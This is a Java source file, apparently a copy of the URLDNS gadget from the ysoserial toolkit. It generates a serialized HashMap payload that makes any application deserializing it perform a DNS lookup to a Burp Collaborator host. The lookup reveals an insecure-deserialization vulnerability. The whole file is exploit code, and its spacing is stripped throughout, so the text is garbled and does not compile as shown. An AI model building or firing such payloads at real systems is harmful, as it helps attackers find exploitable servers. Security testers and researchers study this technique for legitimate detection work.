importjava.io.File;importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.net.InetAddress;importjava.net.URLConnection;importjava.net.URLStreamHandler;importjava.util.HashMap;importjava.net.URL;publicclassURLDNS {publicstaticvoidGeneratePayload(Object instance,String file)throwsException {//Serialize the constructed payload and write it to the fileFile f =newFile(file);ObjectOutputStream out =newObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}publicstaticvoidpayloadTest(String file) throwsException {//Read the written payload and deserialize itObjectInputStream in =newObjectInputStream(new FileInputStream(file));Object obj =in.readObject();System.out.println(obj);in.close();}publicstaticvoidmain(finalString[] args) throwsException {String url ="http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";HashMap ht =newHashMap(); // HashMap that will contain the URLURLStreamHandler handler =newSilentURLStreamHandler();URL u =newURL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.// During the put above, the URL's hashCode is calculated and cached.// This resets that so the next time hashCode is called a DNS lookup will be triggered.finalField field =u.getClass().getDeclaredField("hashCode");field.setAccessible(true);field.set(u,-1);//Test the payloadsGeneratePayload(ht,"C:\\Users\\Public\\payload.serial");}}classSilentURLStreamHandlerextendsURLStreamHandler {protectedURLConnectionopenConnection(URL u) throwsIOException {returnnull;}protectedsynchronizedInetAddressgetHostAddress(URL u) {returnnull;}}